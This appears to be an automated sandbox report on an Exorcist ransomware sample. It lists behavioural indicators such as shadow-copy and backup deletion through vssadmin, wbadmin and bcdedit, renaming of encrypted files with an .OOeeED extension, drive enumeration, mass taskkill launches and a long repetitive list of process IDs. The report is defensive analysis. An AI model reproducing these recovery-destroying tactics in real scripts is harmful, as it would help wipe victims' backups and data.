Resubmissions
23/09/2020, 10:35 UTC
200923-mkwlt9yalx 1023/07/2020, 14:59 UTC
200723-mtbw6t99d2 1023/07/2020, 13:47 UTC
200723-5t3mhtw95x 10Analysis
-
max time kernel
43s -
max time network
141s -
platform
windows10_x64 -
resource
win10 -
submitted
23/07/2020, 14:59 UTC
Static task
static1
Behavioral task
behavioral1
Sample
build-x64-crypt.bin.exe
Resource
win7v200722
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
build-x64-crypt.bin.exe
Resource
win10
windows10_x64
0 signatures
0 seconds
General
-
Target
build-x64-crypt.bin.exe
Score
10/10
Malware Config
Signatures
-
Exorcist
Ransomware-as-a-service which avoids infecting machines in CIS nations. First seen in mid-2020.
-
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
-
Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
pid Process 3636 bcdedit.exe 3924 bcdedit.exe -
pid Process 2536 wbadmin.exe 2684 wbadmin.exe -
Modifies extensions of user files 15 IoCs
Ransomware generally changes the extension on encrypted files.
description ioc Process File renamed C:\Users\Admin\Pictures\ReadClose.crw => C:\Users\Admin\Pictures\ReadClose.crw.OOeeED build-x64-crypt.bin.exe File opened for modification C:\Users\Admin\Pictures\StopConvert.png.OOeeED build-x64-crypt.bin.exe File opened for modification C:\Users\Admin\Pictures\GroupBlock.crw.OOeeED build-x64-crypt.bin.exe File opened for modification C:\Users\Admin\Pictures\ReadClose.crw.OOeeED build-x64-crypt.bin.exe File opened for modification C:\Users\Admin\Pictures\SendInvoke.png.OOeeED build-x64-crypt.bin.exe File opened for modification C:\Users\Admin\Pictures\ResetMerge.crw.OOeeED build-x64-crypt.bin.exe File opened for modification C:\Users\Admin\Pictures\SelectRevoke.tiff.OOeeED build-x64-crypt.bin.exe File renamed C:\Users\Admin\Pictures\StopConvert.png => C:\Users\Admin\Pictures\StopConvert.png.OOeeED build-x64-crypt.bin.exe File renamed C:\Users\Admin\Pictures\GroupBlock.crw => C:\Users\Admin\Pictures\GroupBlock.crw.OOeeED build-x64-crypt.bin.exe File renamed C:\Users\Admin\Pictures\RedoDeny.tif => C:\Users\Admin\Pictures\RedoDeny.tif.OOeeED build-x64-crypt.bin.exe File renamed C:\Users\Admin\Pictures\ResetMerge.crw => C:\Users\Admin\Pictures\ResetMerge.crw.OOeeED build-x64-crypt.bin.exe File renamed C:\Users\Admin\Pictures\SendInvoke.png => C:\Users\Admin\Pictures\SendInvoke.png.OOeeED build-x64-crypt.bin.exe File opened for modification C:\Users\Admin\Pictures\RedoDeny.tif.OOeeED build-x64-crypt.bin.exe File opened for modification C:\Users\Admin\Pictures\SelectRevoke.tiff build-x64-crypt.bin.exe File renamed C:\Users\Admin\Pictures\SelectRevoke.tiff => C:\Users\Admin\Pictures\SelectRevoke.tiff.OOeeED build-x64-crypt.bin.exe -
Enumerates connected drives 3 TTPs 24 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\H: build-x64-crypt.bin.exe File opened (read-only) \??\L: build-x64-crypt.bin.exe File opened (read-only) \??\R: build-x64-crypt.bin.exe File opened (read-only) \??\W: build-x64-crypt.bin.exe File opened (read-only) \??\A: build-x64-crypt.bin.exe File opened (read-only) \??\B: build-x64-crypt.bin.exe File opened (read-only) \??\E: build-x64-crypt.bin.exe File opened (read-only) \??\T: build-x64-crypt.bin.exe File opened (read-only) \??\X: build-x64-crypt.bin.exe File opened (read-only) \??\Y: build-x64-crypt.bin.exe File opened (read-only) \??\Z: build-x64-crypt.bin.exe File opened (read-only) \??\G: build-x64-crypt.bin.exe File opened (read-only) \??\I: build-x64-crypt.bin.exe File opened (read-only) \??\J: build-x64-crypt.bin.exe File opened (read-only) \??\M: build-x64-crypt.bin.exe File opened (read-only) \??\P: build-x64-crypt.bin.exe File opened (read-only) \??\Q: build-x64-crypt.bin.exe File opened (read-only) \??\S: build-x64-crypt.bin.exe File opened (read-only) \??\F: build-x64-crypt.bin.exe File opened (read-only) \??\K: build-x64-crypt.bin.exe File opened (read-only) \??\N: build-x64-crypt.bin.exe File opened (read-only) \??\O: build-x64-crypt.bin.exe File opened (read-only) \??\U: build-x64-crypt.bin.exe File opened (read-only) \??\V: build-x64-crypt.bin.exe -
Modifies service 2 TTPs 5 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Registry Writer vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\SwProvider_{b5946137-7b9f-4925-af80-51abd60b20d5} vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\COM+ REGDB Writer vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\ASR Writer vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Shadow Copy Optimization Writer vssvc.exe -
Drops file in Windows directory 6 IoCs
description ioc Process File opened for modification C:\Windows\Logs\WindowsBackup\WBEngine.1.etl wbadmin.exe File opened for modification C:\Windows\Logs\WindowsBackup\WBEngine.3.etl wbadmin.exe File opened for modification C:\Windows\Logs\WindowsBackup\WBEngine.2.etl wbadmin.exe File opened for modification C:\Windows\Logs\WindowsBackup\WBEngine.1.etl wbadmin.exe File opened for modification C:\Windows\Logs\WindowsBackup\WBEngine.3.etl wbadmin.exe File opened for modification C:\Windows\Logs\WindowsBackup\WBEngine.2.etl wbadmin.exe -
Interacts with shadow copies 2 TTPs 1 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 488 vssadmin.exe -
Kills process with taskkill 91 IoCs
pid Process 3584 taskkill.exe 3108 taskkill.exe 2164 taskkill.exe 3112 taskkill.exe 3848 taskkill.exe 3112 taskkill.exe 3848 taskkill.exe 3800 taskkill.exe 3844 taskkill.exe 1732 taskkill.exe 3808 taskkill.exe 3800 taskkill.exe 2528 taskkill.exe 676 taskkill.exe 3112 taskkill.exe 1684 taskkill.exe 3420 taskkill.exe 2856 taskkill.exe 3600 taskkill.exe 568 taskkill.exe 3012 taskkill.exe 3720 taskkill.exe 3064 taskkill.exe 3812 taskkill.exe 3824 taskkill.exe 3844 taskkill.exe 2236 taskkill.exe 1128 taskkill.exe 3712 taskkill.exe 280 taskkill.exe 840 taskkill.exe 260 taskkill.exe 1380 taskkill.exe 3832 taskkill.exe 2184 taskkill.exe 676 taskkill.exe 1264 taskkill.exe 840 taskkill.exe 1036 taskkill.exe 1100 taskkill.exe 3140 taskkill.exe 2984 taskkill.exe 1712 taskkill.exe 1900 taskkill.exe 3436 taskkill.exe 1316 taskkill.exe 1524 taskkill.exe 3232 taskkill.exe 2160 taskkill.exe 3464 taskkill.exe 3436 taskkill.exe 2152 taskkill.exe 3140 taskkill.exe 1684 taskkill.exe 1264 taskkill.exe 2412 taskkill.exe 568 taskkill.exe 3720 taskkill.exe 3720 taskkill.exe 2164 taskkill.exe 3832 taskkill.exe 2856 taskkill.exe 1316 taskkill.exe 1964 taskkill.exe 1652 taskkill.exe 2184 taskkill.exe 1188 taskkill.exe 1384 taskkill.exe 488 taskkill.exe 980 taskkill.exe 3584 taskkill.exe 488 taskkill.exe 640 taskkill.exe 2876 taskkill.exe 3712 taskkill.exe 3444 taskkill.exe 3368 taskkill.exe 3892 taskkill.exe 3800 taskkill.exe 3844 taskkill.exe 3720 taskkill.exe 1560 taskkill.exe 3808 taskkill.exe 2528 taskkill.exe 640 taskkill.exe 3076 taskkill.exe 1972 taskkill.exe 3660 taskkill.exe 1932 taskkill.exe 1260 taskkill.exe 2536 taskkill.exe -
NTFS ADS 5 IoCs
description ioc Process File created C:\Users\Admin\AppData\Local\Temp\boot.sys:iykxevszimranzpu build-x64-crypt.bin.exe File created C:\Users\Admin\AppData\Local\Temp\boot.sys:xbcqjlijd build-x64-crypt.bin.exe File created C:\Users\Admin\AppData\Local\Temp\boot.sys:ivrhwmenumbuocvak build-x64-crypt.bin.exe File opened for modification C:\Users\Admin\AppData\Local\Temp\boot.sys:tpupnbvzicwro build-x64-crypt.bin.exe File opened for modification C:\Users\Admin\AppData\Local\Temp\boot.sys:xbcqjlijd build-x64-crypt.bin.exe -
Suspicious behavior: EnumeratesProcesses 2088 IoCs
pid Process 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 948 powershell.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 948 powershell.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 948 powershell.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 980 powershell.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 980 powershell.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 980 powershell.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 build-x64-crypt.bin.exe 3024 